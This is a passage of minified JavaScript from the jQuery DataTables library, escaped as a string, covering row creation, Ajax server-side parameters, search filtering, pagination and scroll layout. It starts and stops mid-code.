c=Z(a,\"bVisible\"),c=h.inArray(b,c);return-1!==c?c:null}function aa(a){return Z(a,\"bVisible\").length}function Z(a,b){var c=[];h.map(a.aoColumns,function(a,d){a[b]&&c.push(d)});return c}function Ha(a){var b=a.aoColumns,c=a.aoData,e=m.ext.type.detect,d,\nf,g,j,i,h,l,q,n;d=0;for(f=b.length;d<f;d++)if(l=b[d],n=[],!l.sType&&l._sManualType)l.sType=l._sManualType;else if(!l.sType){g=0;for(j=e.length;g<j;g++){i=0;for(h=c.length;i<h;i++){n[i]===k&&(n[i]=x(a,i,d,\"type\"));q=e[g](n[i],a);if(!q&&g!==e.length-1)break;if(\"html\"===q)break}if(q){l.sType=q;break}}l.sType||(l.sType=\"string\")}}function ib(a,b,c,e){var d,f,g,j,i,o,l=a.aoColumns;if(b)for(d=b.length-1;0<=d;d--){o=b[d];var q=o.targets!==k?o.targets:o.aTargets;h.isArray(q)||(q=[q]);f=0;for(g=q.length;f<\ng;f++)if(\"number\"===typeof q[f]&&0<=q[f]){for(;l.length<=q[f];)Fa(a);e(q[f],o)}else if(\"number\"===typeof q[f]&&0>q[f])e(l.length+q[f],o);else if(\"string\"===typeof q[f]){j=0;for(i=l.length;j<i;j++)(\"_all\"==q[f]||h(l[j].nTh).hasClass(q[f]))&&e(j,o)}}if(c){d=0;for(a=c.length;d<a;d++)e(d,c[d])}}function K(a,b,c,e){var d=a.aoData.length,f=h.extend(!0,{},m.models.oRow,{src:c?\"dom\":\"data\"});f._aData=b;a.aoData.push(f);for(var b=a.aoColumns,f=0,g=b.length;f<g;f++)c&&Ia(a,d,f,x(a,d,f)),b[f].sType=null;a.aiDisplayMaster.push(d);\n(c||!a.oFeatures.bDeferRender)&&Ja(a,d,c,e);return d}function ma(a,b){var c;b instanceof h||(b=h(b));return b.map(function(b,d){c=na(a,d);return K(a,c.data,d,c.cells)})}function x(a,b,c,e){var d=a.iDraw,f=a.aoColumns[c],g=a.aoData[b]._aData,j=f.sDefaultContent,c=f.fnGetData(g,e,{settings:a,row:b,col:c});if(c===k)return a.iDrawError!=d&&null===j&&(I(a,0,\"Requested unknown parameter \"+(\"function\"==typeof f.mData?\"{function}\":\"'\"+f.mData+\"'\")+\" for row \"+b,4),a.iDrawError=d),j;if((c===g||null===c)&&\nnull!==j)c=j;else if(\"function\"===typeof c)return c.call(g);return null===c&&\"display\"==e?\"\":c}function Ia(a,b,c,e){a.aoColumns[c].fnSetData(a.aoData[b]._aData,e,{settings:a,row:b,col:c})}function Ka(a){return h.map(a.match(/(\\\\.|[^\\.])+/g),function(a){return a.replace(/\\\\./g,\".\")})}function R(a){if(h.isPlainObject(a)){var b={};h.each(a,function(a,c){c&&(b[a]=R(c))});return function(a,c,f,g){var j=b[c]||b._;return j!==k?j(a,c,f,g):a}}if(null===a)return function(a){return a};if(\"function\"===typeof a)return function(b,\nc,f,g){return a(b,c,f,g)};if(\"string\"===typeof a&&(-1!==a.indexOf(\".\")||-1!==a.indexOf(\"[\")||-1!==a.indexOf(\"(\"))){var c=function(a,b,f){var g,j;if(\"\"!==f){j=Ka(f);for(var i=0,h=j.length;i<h;i++){f=j[i].match(ba);g=j[i].match(T);if(f){j[i]=j[i].replace(ba,\"\");\"\"!==j[i]&&(a=a[j[i]]);g=[];j.splice(0,i+1);j=j.join(\".\");i=0;for(h=a.length;i<h;i++)g.push(c(a[i],b,j));a=f[0].substring(1,f[0].length-1);a=\"\"===a?g:g.join(a);break}else if(g){j[i]=j[i].replace(T,\"\");a=a[j[i]]();continue}if(null===a||a[j[i]]===\nk)return k;a=a[j[i]]}}return a};return function(b,d){return c(b,d,a)}}return function(b){return b[a]}}function S(a){if(h.isPlainObject(a))return S(a._);if(null===a)return function(){};if(\"function\"===typeof a)return function(b,e,d){a(b,\"set\",e,d)};if(\"string\"===typeof a&&(-1!==a.indexOf(\".\")||-1!==a.indexOf(\"[\")||-1!==a.indexOf(\"(\"))){var b=function(a,e,d){var d=Ka(d),f;f=d[d.length-1];for(var g,j,i=0,h=d.length-1;i<h;i++){g=d[i].match(ba);j=d[i].match(T);if(g){d[i]=d[i].replace(ba,\"\");a[d[i]]=[];\nf=d.slice();f.splice(0,i+1);g=f.join(\".\");j=0;for(h=e.length;j<h;j++)f={},b(f,e[j],g),a[d[i]].push(f);return}j&&(d[i]=d[i].replace(T,\"\"),a=a[d[i]](e));if(null===a[d[i]]||a[d[i]]===k)a[d[i]]={};a=a[d[i]]}if(f.match(T))a[f.replace(T,\"\")](e);else a[f.replace(ba,\"\")]=e};return function(c,e){return b(c,e,a)}}return function(b,e){b[a]=e}}function La(a){return D(a.aoData,\"_aData\")}function oa(a){a.aoData.length=0;a.aiDisplayMaster.length=0;a.aiDisplay.length=0}function pa(a,b,c){for(var e=-1,d=0,f=a.length;d<\nf;d++)a[d]==b?e=d:a[d]>b&&a[d]--; -1!=e&&c===k&&a.splice(e,1)}function ca(a,b,c,e){var d=a.aoData[b],f,g=function(c,f){for(;c.childNodes.length;)c.removeChild(c.firstChild);c.innerHTML=x(a,b,f,\"display\")};if(\"dom\"===c||(!c||\"auto\"===c)&&\"dom\"===d.src)d._aData=na(a,d,e,e===k?k:d._aData).data;else{var j=d.anCells;if(j)if(e!==k)g(j[e],e);else{c=0;for(f=j.length;c<f;c++)g(j[c],c)}}d._aSortData=null;d._aFilterData=null;g=a.aoColumns;if(e!==k)g[e].sType=null;else{c=0;for(f=g.length;c<f;c++)g[c].sType=null;\nMa(d)}}function na(a,b,c,e){var d=[],f=b.firstChild,g,j=0,i,o=a.aoColumns,l=a._rowReadObject,e=e||l?{}:[],q=function(a,b){if(\"string\"===typeof a){var c=a.indexOf(\"@\");-1!==c&&(c=a.substring(c+1),S(a)(e,b.getAttribute(c)))}},a=function(a){if(c===k||c===j)g=o[j],i=h.trim(a.innerHTML),g&&g._bAttrSrc?(S(g.mData._)(e,i),q(g.mData.sort,a),q(g.mData.type,a),q(g.mData.filter,a)):l?(g._setter||(g._setter=S(g.mData)),g._setter(e,i)):e[j]=i;j++};if(f)for(;f;){b=f.nodeName.toUpperCase();if(\"TD\"==b||\"TH\"==b)a(f),\nd.push(f);f=f.nextSibling}else{d=b.anCells;f=0;for(b=d.length;f<b;f++)a(d[f])}return{data:e,cells:d}}function Ja(a,b,c,e){var d=a.aoData[b],f=d._aData,g=[],j,i,h,l,q;if(null===d.nTr){j=c||Q.createElement(\"tr\");d.nTr=j;d.anCells=g;j._DT_RowIndex=b;Ma(d);l=0;for(q=a.aoColumns.length;l<q;l++){h=a.aoColumns[l];i=c?e[l]:Q.createElement(h.sCellType);g.push(i);if(!c||h.mRender||h.mData!==l)i.innerHTML=x(a,b,l,\"display\");h.sClass&&(i.className+=\" \"+h.sClass);h.bVisible&&!c?j.appendChild(i):!h.bVisible&&c&&\ni.parentNode.removeChild(i);h.fnCreatedCell&&h.fnCreatedCell.call(a.oInstance,i,x(a,b,l),f,b,l)}w(a,\"aoRowCreatedCallback\",null,[j,f,b])}d.nTr.setAttribute(\"role\",\"row\")}function Ma(a){var b=a.nTr,c=a._aData;if(b){c.DT_RowId&&(b.id=c.DT_RowId);if(c.DT_RowClass){var e=c.DT_RowClass.split(\" \");a.__rowc=a.__rowc?Na(a.__rowc.concat(e)):e;h(b).removeClass(a.__rowc.join(\" \")).addClass(c.DT_RowClass)}c.DT_RowAttr&&h(b).attr(c.DT_RowAttr);c.DT_RowData&&h(b).data(c.DT_RowData)}}function jb(a){var b,c,e,d,\nf,g=a.nTHead,j=a.nTFoot,i=0===h(\"th, td\",g).length,o=a.oClasses,l=a.aoColumns;i&&(d=h(\"<tr/>\").appendTo(g));b=0;for(c=l.length;b<c;b++)f=l[b],e=h(f.nTh).addClass(f.sClass),i&&e.appendTo(d),a.oFeatures.bSort&&(e.addClass(f.sSortingClass),!1!==f.bSortable&&(e.attr(\"tabindex\",a.iTabIndex).attr(\"aria-controls\",a.sTableId),Oa(a,f.nTh,b))),f.sTitle!=e.html()&&e.html(f.sTitle),Pa(a,\"header\")(a,e,f,o);i&&da(a.aoHeader,g);h(g).find(\">tr\").attr(\"role\",\"row\");h(g).find(\">tr>th, >tr>td\").addClass(o.sHeaderTH);\nh(j).find(\">tr>th, >tr>td\").addClass(o.sFooterTH);if(null!==j){a=a.aoFooter[0];b=0;for(c=a.length;b<c;b++)f=l[b],f.nTf=a[b].cell,f.sClass&&h(f.nTf).addClass(f.sClass)}}function ea(a,b,c){var e,d,f,g=[],j=[],i=a.aoColumns.length,o;if(b){c===k&&(c=!1);e=0;for(d=b.length;e<d;e++){g[e]=b[e].slice();g[e].nTr=b[e].nTr;for(f=i-1;0<=f;f--)!a.aoColumns[f].bVisible&&!c&&g[e].splice(f,1);j.push([])}e=0;for(d=g.length;e<d;e++){if(a=g[e].nTr)for(;f=a.firstChild;)a.removeChild(f);f=0;for(b=g[e].length;f<b;f++)if(o=\ni=1,j[e][f]===k){a.appendChild(g[e][f].cell);for(j[e][f]=1;g[e+i]!==k&&g[e][f].cell==g[e+i][f].cell;)j[e+i][f]=1,i++;for(;g[e][f+o]!==k&&g[e][f].cell==g[e][f+o].cell;){for(c=0;c<i;c++)j[e+c][f+o]=1;o++}h(g[e][f].cell).attr(\"rowspan\",i).attr(\"colspan\",o)}}}}function M(a){var b=w(a,\"aoPreDrawCallback\",\"preDraw\",[a]);if(-1!==h.inArray(!1,b))C(a,!1);else{var b=[],c=0,e=a.asStripeClasses,d=e.length,f=a.oLanguage,g=a.iInitDisplayStart,j=\"ssp\"==B(a),i=a.aiDisplay;a.bDrawing=!0;g!==k&&-1!==g&&(a._iDisplayStart=\nj?g:g>=a.fnRecordsDisplay()?0:g,a.iInitDisplayStart=-1);var g=a._iDisplayStart,o=a.fnDisplayEnd();if(a.bDeferLoading)a.bDeferLoading=!1,a.iDraw++,C(a,!1);else if(j){if(!a.bDestroying&&!kb(a))return}else a.iDraw++;if(0!==i.length){f=j?a.aoData.length:o;for(j=j?0:g;j<f;j++){var l=i[j],q=a.aoData[l];null===q.nTr&&Ja(a,l);l=q.nTr;if(0!==d){var n=e[c%d];q._sRowStripe!=n&&(h(l).removeClass(q._sRowStripe).addClass(n),q._sRowStripe=n)}w(a,\"aoRowCallback\",null,[l,q._aData,c,j]);b.push(l);c++}}else c=f.sZeroRecords,\n1==a.iDraw&&\"ajax\"==B(a)?c=f.sLoadingRecords:f.sEmptyTable&&0===a.fnRecordsTotal()&&(c=f.sEmptyTable),b[0]=h(\"<tr/>\",{\"class\":d?e[0]:\"\"}).append(h(\"<td />\",{valign:\"top\",colSpan:aa(a),\"class\":a.oClasses.sRowEmpty}).html(c))[0];w(a,\"aoHeaderCallback\",\"header\",[h(a.nTHead).children(\"tr\")[0],La(a),g,o,i]);w(a,\"aoFooterCallback\",\"footer\",[h(a.nTFoot).children(\"tr\")[0],La(a),g,o,i]);e=h(a.nTBody);e.children().detach();e.append(h(b));w(a,\"aoDrawCallback\",\"draw\",[a]);a.bSorted=!1;a.bFiltered=!1;a.bDrawing=\n!1}}function N(a,b){var c=a.oFeatures,e=c.bFilter;c.bSort&&lb(a);e?fa(a,a.oPreviousSearch):a.aiDisplay=a.aiDisplayMaster.slice();!0!==b&&(a._iDisplayStart=0);a._drawHold=b;M(a);a._drawHold=!1}function mb(a){var b=a.oClasses,c=h(a.nTable),c=h(\"<div/>\").insertBefore(c),e=a.oFeatures,d=h(\"<div/>\",{id:a.sTableId+\"_wrapper\",\"class\":b.sWrapper+(a.nTFoot?\"\":\" \"+b.sNoFooter)});a.nHolding=c[0];a.nTableWrapper=d[0];a.nTableReinsertBefore=a.nTable.nextSibling;for(var f=a.sDom.split(\"\"),g,j,i,o,l,q,n=0;n<f.length;n++){g=\nnull;j=f[n];if(\"<\"==j){i=h(\"<div/>\")[0];o=f[n+1];if(\"'\"==o||'\"'==o){l=\"\";for(q=2;f[n+q]!=o;)l+=f[n+q],q++;\"H\"==l?l=b.sJUIHeader:\"F\"==l&&(l=b.sJUIFooter);-1!=l.indexOf(\".\")?(o=l.split(\".\"),i.id=o[0].substr(1,o[0].length-1),i.className=o[1]):\"#\"==l.charAt(0)?i.id=l.substr(1,l.length-1):i.className=l;n+=q}d.append(i);d=h(i)}else if(\">\"==j)d=d.parent();else if(\"l\"==j&&e.bPaginate&&e.bLengthChange)g=nb(a);else if(\"f\"==j&&e.bFilter)g=ob(a);else if(\"r\"==j&&e.bProcessing)g=pb(a);else if(\"t\"==j)g=qb(a);else if(\"i\"==\nj&&e.bInfo)g=rb(a);else if(\"p\"==j&&e.bPaginate)g=sb(a);else if(0!==m.ext.feature.length){i=m.ext.feature;q=0;for(o=i.length;q<o;q++)if(j==i[q].cFeature){g=i[q].fnInit(a);break}}g&&(i=a.aanFeatures,i[j]||(i[j]=[]),i[j].push(g),d.append(g))}c.replaceWith(d)}function da(a,b){var c=h(b).children(\"tr\"),e,d,f,g,j,i,o,l,q,n;a.splice(0,a.length);f=0;for(i=c.length;f<i;f++)a.push([]);f=0;for(i=c.length;f<i;f++){e=c[f];for(d=e.firstChild;d;){if(\"TD\"==d.nodeName.toUpperCase()||\"TH\"==d.nodeName.toUpperCase()){l=\n1*d.getAttribute(\"colspan\");q=1*d.getAttribute(\"rowspan\");l=!l||0===l||1===l?1:l;q=!q||0===q||1===q?1:q;g=0;for(j=a[f];j[g];)g++;o=g;n=1===l?!0:!1;for(j=0;j<l;j++)for(g=0;g<q;g++)a[f+g][o+j]={cell:d,unique:n},a[f+g].nTr=e}d=d.nextSibling}}}function qa(a,b,c){var e=[];c||(c=a.aoHeader,b&&(c=[],da(c,b)));for(var b=0,d=c.length;b<d;b++)for(var f=0,g=c[b].length;f<g;f++)if(c[b][f].unique&&(!e[f]||!a.bSortCellsTop))e[f]=c[b][f].cell;return e}function ra(a,b,c){w(a,\"aoServerParams\",\"serverParams\",[b]);\nif(b&&h.isArray(b)){var e={},d=/(.*?)\\[\\]$/;h.each(b,function(a,b){var c=b.name.match(d);c?(c=c[0],e[c]||(e[c]=[]),e[c].push(b.value)):e[b.name]=b.value});b=e}var f,g=a.ajax,j=a.oInstance,i=function(b){w(a,null,\"xhr\",[a,b,a.jqXHR]);c(b)};if(h.isPlainObject(g)&&g.data){f=g.data;var o=h.isFunction(f)?f(b,a):f,b=h.isFunction(f)&&o?o:h.extend(!0,b,o);delete g.data}o={data:b,success:function(b){var c=b.error||b.sError;c&&I(a,0,c);a.json=b;i(b)},dataType:\"json\",cache:!1,type:a.sServerMethod,error:function(b,\nc){var f=w(a,null,\"xhr\",[a,null,a.jqXHR]);-1===h.inArray(!0,f)&&(\"parsererror\"==c?I(a,0,\"Invalid JSON response\",1):4===b.readyState&&I(a,0,\"Ajax error\",7));C(a,!1)}};a.oAjaxData=b;w(a,null,\"preXhr\",[a,b]);a.fnServerData?a.fnServerData.call(j,a.sAjaxSource,h.map(b,function(a,b){return{name:b,value:a}}),i,a):a.sAjaxSource||\"string\"===typeof g?a.jqXHR=h.ajax(h.extend(o,{url:g||a.sAjaxSource})):h.isFunction(g)?a.jqXHR=g.call(j,b,i,a):(a.jqXHR=h.ajax(h.extend(o,g)),g.data=f)}function kb(a){return a.bAjaxDataGet?\n(a.iDraw++,C(a,!0),ra(a,tb(a),function(b){ub(a,b)}),!1):!0}function tb(a){var b=a.aoColumns,c=b.length,e=a.oFeatures,d=a.oPreviousSearch,f=a.aoPreSearchCols,g,j=[],i,o,l,q=U(a);g=a._iDisplayStart;i=!1!==e.bPaginate?a._iDisplayLength:-1;var n=function(a,b){j.push({name:a,value:b})};n(\"sEcho\",a.iDraw);n(\"iColumns\",c);n(\"sColumns\",D(b,\"sName\").join(\",\"));n(\"iDisplayStart\",g);n(\"iDisplayLength\",i);var k={draw:a.iDraw,columns:[],order:[],start:g,length:i,search:{value:d.sSearch,regex:d.bRegex}};for(g=\n0;g<c;g++)o=b[g],l=f[g],i=\"function\"==typeof o.mData?\"function\":o.mData,k.columns.push({data:i,name:o.sName,searchable:o.bSearchable,orderable:o.bSortable,search:{value:l.sSearch,regex:l.bRegex}}),n(\"mDataProp_\"+g,i),e.bFilter&&(n(\"sSearch_\"+g,l.sSearch),n(\"bRegex_\"+g,l.bRegex),n(\"bSearchable_\"+g,o.bSearchable)),e.bSort&&n(\"bSortable_\"+g,o.bSortable);e.bFilter&&(n(\"sSearch\",d.sSearch),n(\"bRegex\",d.bRegex));e.bSort&&(h.each(q,function(a,b){k.order.push({column:b.col,dir:b.dir});n(\"iSortCol_\"+a,b.col);\nn(\"sSortDir_\"+a,b.dir)}),n(\"iSortingCols\",q.length));b=m.ext.legacy.ajax;return null===b?a.sAjaxSource?j:k:b?j:k}function ub(a,b){var c=sa(a,b),e=b.sEcho!==k?b.sEcho:b.draw,d=b.iTotalRecords!==k?b.iTotalRecords:b.recordsTotal,f=b.iTotalDisplayRecords!==k?b.iTotalDisplayRecords:b.recordsFiltered;if(e){if(1*e<a.iDraw)return;a.iDraw=1*e}oa(a);a._iRecordsTotal=parseInt(d,10);a._iRecordsDisplay=parseInt(f,10);e=0;for(d=c.length;e<d;e++)K(a,c[e]);a.aiDisplay=a.aiDisplayMaster.slice();a.bAjaxDataGet=!1;\nM(a);a._bInitComplete||ta(a,b);a.bAjaxDataGet=!0;C(a,!1)}function sa(a,b){var c=h.isPlainObject(a.ajax)&&a.ajax.dataSrc!==k?a.ajax.dataSrc:a.sAjaxDataProp;return\"data\"===c?b.aaData||b[c]:\"\"!==c?R(c)(b):b}function ob(a){var b=a.oClasses,c=a.sTableId,e=a.oLanguage,d=a.oPreviousSearch,f=a.aanFeatures,g='<input type=\"search\" class=\"'+b.sFilterInput+'\"/>',j=e.sSearch,j=j.match(/_INPUT_/)?j.replace(\"_INPUT_\",g):j+g,b=h(\"<div/>\",{id:!f.f?c+\"_filter\":null,\"class\":b.sFilter}).append(h(\"<label/>\").append(j)),\nf=function(){var b=!this.value?\"\":this.value;b!=d.sSearch&&(fa(a,{sSearch:b,bRegex:d.bRegex,bSmart:d.bSmart,bCaseInsensitive:d.bCaseInsensitive}),a._iDisplayStart=0,M(a))},g=null!==a.searchDelay?a.searchDelay:\"ssp\"===B(a)?400:0,i=h(\"input\",b).val(d.sSearch).attr(\"placeholder\",e.sSearchPlaceholder).bind(\"keyup.DT search.DT input.DT paste.DT cut.DT\",g?ua(f,g):f).bind(\"keypress.DT\",function(a){if(13==a.keyCode)return!1}).attr(\"aria-controls\",c);h(a.nTable).on(\"search.dt.DT\",function(b,c){if(a===c)try{i[0]!==\nQ.activeElement&&i.val(d.sSearch)}catch(f){}});return b[0]}function fa(a,b,c){var e=a.oPreviousSearch,d=a.aoPreSearchCols,f=function(a){e.sSearch=a.sSearch;e.bRegex=a.bRegex;e.bSmart=a.bSmart;e.bCaseInsensitive=a.bCaseInsensitive};Ha(a);if(\"ssp\"!=B(a)){vb(a,b.sSearch,c,b.bEscapeRegex!==k?!b.bEscapeRegex:b.bRegex,b.bSmart,b.bCaseInsensitive);f(b);for(b=0;b<d.length;b++)wb(a,d[b].sSearch,b,d[b].bEscapeRegex!==k?!d[b].bEscapeRegex:d[b].bRegex,d[b].bSmart,d[b].bCaseInsensitive);xb(a)}else f(b);a.bFiltered=\n!0;w(a,null,\"search\",[a])}function xb(a){for(var b=m.ext.search,c=a.aiDisplay,e,d,f=0,g=b.length;f<g;f++){for(var j=[],i=0,h=c.length;i<h;i++)d=c[i],e=a.aoData[d],b[f](a,e._aFilterData,d,e._aData,i)&&j.push(d);c.length=0;c.push.apply(c,j)}}function wb(a,b,c,e,d,f){if(\"\"!==b)for(var g=a.aiDisplay,e=Qa(b,e,d,f),d=g.length-1;0<=d;d--)b=a.aoData[g[d]]._aFilterData[c],e.test(b)||g.splice(d,1)}function vb(a,b,c,e,d,f){var e=Qa(b,e,d,f),d=a.oPreviousSearch.sSearch,f=a.aiDisplayMaster,g;0!==m.ext.search.length&&\n(c=!0);g=yb(a);if(0>=b.length)a.aiDisplay=f.slice();else{if(g||c||d.length>b.length||0!==b.indexOf(d)||a.bSorted)a.aiDisplay=f.slice();b=a.aiDisplay;for(c=b.length-1;0<=c;c--)e.test(a.aoData[b[c]]._sFilterRow)||b.splice(c,1)}}function Qa(a,b,c,e){a=b?a:va(a);c&&(a=\"^(?=.*?\"+h.map(a.match(/\"[^\"]+\"|[^ ]+/g)||[\"\"],function(a){if('\"'===a.charAt(0))var b=a.match(/^\"(.*)\"$/),a=b?b[1]:a;return a.replace('\"',\"\")}).join(\")(?=.*?\")+\").*$\");return RegExp(a,e?\"i\":\"\")}function va(a){return a.replace(Yb,\"\\\\$1\")}\nfunction yb(a){var b=a.aoColumns,c,e,d,f,g,j,i,h,l=m.ext.type.search;c=!1;e=0;for(f=a.aoData.length;e<f;e++)if(h=a.aoData[e],!h._aFilterData){j=[];d=0;for(g=b.length;d<g;d++)c=b[d],c.bSearchable?(i=x(a,e,d,\"filter\"),l[c.sType]&&(i=l[c.sType](i)),null===i&&(i=\"\"),\"string\"!==typeof i&&i.toString&&(i=i.toString())):i=\"\",i.indexOf&&-1!==i.indexOf(\"&\")&&(wa.innerHTML=i,i=Zb?wa.textContent:wa.innerText),i.replace&&(i=i.replace(/[\\r\\n]/g,\"\")),j.push(i);h._aFilterData=j;h._sFilterRow=j.join(\"  \");c=!0}return c}\nfunction zb(a){return{search:a.sSearch,smart:a.bSmart,regex:a.bRegex,caseInsensitive:a.bCaseInsensitive}}function Ab(a){return{sSearch:a.search,bSmart:a.smart,bRegex:a.regex,bCaseInsensitive:a.caseInsensitive}}function rb(a){var b=a.sTableId,c=a.aanFeatures.i,e=h(\"<div/>\",{\"class\":a.oClasses.sInfo,id:!c?b+\"_info\":null});c||(a.aoDrawCallback.push({fn:Bb,sName:\"information\"}),e.attr(\"role\",\"status\").attr(\"aria-live\",\"polite\"),h(a.nTable).attr(\"aria-describedby\",b+\"_info\"));return e[0]}function Bb(a){var b=\na.aanFeatures.i;if(0!==b.length){var c=a.oLanguage,e=a._iDisplayStart+1,d=a.fnDisplayEnd(),f=a.fnRecordsTotal(),g=a.fnRecordsDisplay(),j=g?c.sInfo:c.sInfoEmpty;g!==f&&(j+=\" \"+c.sInfoFiltered);j+=c.sInfoPostFix;j=Cb(a,j);c=c.fnInfoCallback;null!==c&&(j=c.call(a.oInstance,a,e,d,f,g,j));h(b).html(j)}}function Cb(a,b){var c=a.fnFormatNumber,e=a._iDisplayStart+1,d=a._iDisplayLength,f=a.fnRecordsDisplay(),g=-1===d;return b.replace(/_START_/g,c.call(a,e)).replace(/_END_/g,c.call(a,a.fnDisplayEnd())).replace(/_MAX_/g,\nc.call(a,a.fnRecordsTotal())).replace(/_TOTAL_/g,c.call(a,f)).replace(/_PAGE_/g,c.call(a,g?1:Math.ceil(e/d))).replace(/_PAGES_/g,c.call(a,g?1:Math.ceil(f/d)))}function ga(a){var b,c,e=a.iInitDisplayStart,d=a.aoColumns,f;c=a.oFeatures;if(a.bInitialised){mb(a);jb(a);ea(a,a.aoHeader);ea(a,a.aoFooter);C(a,!0);c.bAutoWidth&&Ga(a);b=0;for(c=d.length;b<c;b++)f=d[b],f.sWidth&&(f.nTh.style.width=s(f.sWidth));N(a);d=B(a);\"ssp\"!=d&&(\"ajax\"==d?ra(a,[],function(c){var f=sa(a,c);for(b=0;b<f.length;b++)K(a,f[b]);\na.iInitDisplayStart=e;N(a);C(a,!1);ta(a,c)},a):(C(a,!1),ta(a)))}else setTimeout(function(){ga(a)},200)}function ta(a,b){a._bInitComplete=!0;b&&X(a);w(a,\"aoInitComplete\",\"init\",[a,b])}function Ra(a,b){var c=parseInt(b,10);a._iDisplayLength=c;Sa(a);w(a,null,\"length\",[a,c])}function nb(a){for(var b=a.oClasses,c=a.sTableId,e=a.aLengthMenu,d=h.isArray(e[0]),f=d?e[0]:e,e=d?e[1]:e,d=h(\"<select/>\",{name:c+\"_length\",\"aria-controls\":c,\"class\":b.sLengthSelect}),g=0,j=f.length;g<j;g++)d[0][g]=new Option(e[g],\nf[g]);var i=h(\"<div><label/></div>\").addClass(b.sLength);a.aanFeatures.l||(i[0].id=c+\"_length\");i.children().append(a.oLanguage.sLengthMenu.replace(\"_MENU_\",d[0].outerHTML));h(\"select\",i).val(a._iDisplayLength).bind(\"change.DT\",function(){Ra(a,h(this).val());M(a)});h(a.nTable).bind(\"length.dt.DT\",function(b,c,f){a===c&&h(\"select\",i).val(f)});return i[0]}function sb(a){var b=a.sPaginationType,c=m.ext.pager[b],e=\"function\"===typeof c,d=function(a){M(a)},b=h(\"<div/>\").addClass(a.oClasses.sPaging+b)[0],\nf=a.aanFeatures;e||c.fnInit(a,b,d);f.p||(b.id=a.sTableId+\"_paginate\",a.aoDrawCallback.push({fn:function(a){if(e){var b=a._iDisplayStart,i=a._iDisplayLength,h=a.fnRecordsDisplay(),l=-1===i,b=l?0:Math.ceil(b/i),i=l?1:Math.ceil(h/i),h=c(b,i),q,l=0;for(q=f.p.length;l<q;l++)Pa(a,\"pageButton\")(a,f.p[l],l,h,b,i)}else c.fnUpdate(a,d)},sName:\"pagination\"}));return b}function Ta(a,b,c){var e=a._iDisplayStart,d=a._iDisplayLength,f=a.fnRecordsDisplay();0===f||-1===d?e=0:\"number\"===typeof b?(e=b*d,e>f&&(e=0)):\n\"first\"==b?e=0:\"previous\"==b?(e=0<=d?e-d:0,0>e&&(e=0)):\"next\"==b?e+d<f&&(e+=d):\"last\"==b?e=Math.floor((f-1)/d)*d:I(a,0,\"Unknown paging action: \"+b,5);b=a._iDisplayStart!==e;a._iDisplayStart=e;b&&(w(a,null,\"page\",[a]),c&&M(a));return b}function pb(a){return h(\"<div/>\",{id:!a.aanFeatures.r?a.sTableId+\"_processing\":null,\"class\":a.oClasses.sProcessing}).html(a.oLanguage.sProcessing).insertBefore(a.nTable)[0]}function C(a,b){a.oFeatures.bProcessing&&h(a.aanFeatures.r).css(\"display\",b?\"block\":\"none\");w(a,\nnull,\"processing\",[a,b])}function qb(a){var b=h(a.nTable);b.attr(\"role\",\"grid\");var c=a.oScroll;if(\"\"===c.sX&&\"\"===c.sY)return a.nTable;var e=c.sX,d=c.sY,f=a.oClasses,g=b.children(\"caption\"),j=g.length?g[0]._captionSide:null,i=h(b[0].cloneNode(!1)),o=h(b[0].cloneNode(!1)),l=b.children(\"tfoot\");c.sX&&\"100%\"===b.attr(\"width\")&&b.removeAttr(\"width\");l.length||(l=null);c=h(\"<div/>\",{\"class\":f.sScrollWrapper}).append(h(\"<div/>\",{\"class\":f.sScrollHead}).css({overflow:\"hidden\",position:\"relative\",border:0,\nwidth:e?!e?null:s(e):\"100%\"}).append(h(\"<div/>\",{\"class\":f.sScrollHeadInner}).css({\"box-sizing\":\"content-box\",width:c.sXInner||\"100%\"}).append(i.removeAttr(\"id\").css(\"margin-left\",0).append(\"top\"===j?g:null).append(b.children(\"thead\"))))).append(h(\"<div/>\",{\"class\":f.sScrollBody}).css({overflow:\"auto\",height:!d?null:s(d),width:!e?null:s(e)}).append(b));l&&c.append(h(\"<div/>\",{\"class\":f.sScrollFoot}).css({overflow:\"hidden\",border:0,width:e?!e?null:s(e):\"100%\"}).append(h(\"<div/>\",{\"class\":f.sScrollFootInner}).append(o.removeAttr(\"id\").css(\"margin-left\",\n0).append(\"bottom\"===j?g:null).append(b.children(\"tfoot\")))));var b=c.children(),q=b[0],f=b[1],n=l?b[2]:null;if(e)h(f).on(\"scroll.DT\",function(){var a=this.scrollLeft;q.scrollLeft=a;l&&(n.scrollLeft=a)});a.nScrollHead=q;a.nScrollBody=f;a.nScrollFoot=n;a.aoDrawCallback.push({fn:Y,sName:\"scrolling\"});return c[0]}function Y(a){var b=a.oScroll,c=b.sX,e=b.sXInner,d=b.sY,f=b.iBarWidth,g=h(a.nScrollHead),j=g[0].style,i=g.children(\"div\"),o=i[0].style,l=i.children(\"table\"),i=a.nScrollBody,q=h(i),n=i.style,\nk=h(a.nScrollFoot).children(\"div\"),p=k.children(\"table\"),m=h(a.nTHead),r=h(a.nTable),t=r[0],O=t.style,L=a.nTFoot?h(a.nTFoot):null,ha=a.oBrowser,w=ha.bScrollOversize,v,u,y,x,z,A=[],B=[],C=[],D,E=function(a){a=a.style;a.paddingTop=\"0\";a.paddingBottom=\"0\";a.borderTopWidth=\"0\";a.borderBottomWidth=\"0\";a.height=0};r.children(\"thead, tfoot\").remove();z=m.clone().prependTo(r);v=m.find(\"tr\");y=z.find(\"tr\");z.find(\"th, td\").removeAttr(\"tabindex\");L&&(x=L.clone().prependTo(r),u=L.find(\"tr\"),x=x.find(\"tr\"));\nc||(n.width=\"100%\",g[0].style.width=\"100%\");h.each(qa(a,z),function(b,c){D=la(a,b);c.style.width=a.aoColumns[D].sWidth});L&&G(function(a){a.style.width=\"\"},x);b.bCollapse&&\"\"!==d&&(n.height=q[0].offsetHeight+m[0].offsetHeight+\"px\");g=r.outerWidth();if(\"\"===c){if(O.width=\"100%\",w&&(r.find(\"tbody\").height()>i.offsetHeight||\"scroll\"==q.css(\"overflow-y\")))O.width=s(r.outerWidth()-f)}else\"\"!==e?O.width=s(e):g==q.width()&&q.height()<r.height()?(O.width=s(g-f),r.outerWidth()>g-f&&(O.width=s(g))):O.width=\ns(g);g=r.outerWidth();G(E,y);G(function(a){C.push(a.innerHTML);A.push(s(h(a).css(\"width\")))},y);G(function(a,b){a.style.width=A[b]},v);h(y).height(0);L&&(G(E,x),G(function(a){B.push(s(h(a).css(\"width\")))},x),G(function(a,b){a.style.width=B[b]},u),h(x).height(0));G(function(a,b){a.innerHTML='<div class=\"dataTables_sizing\" 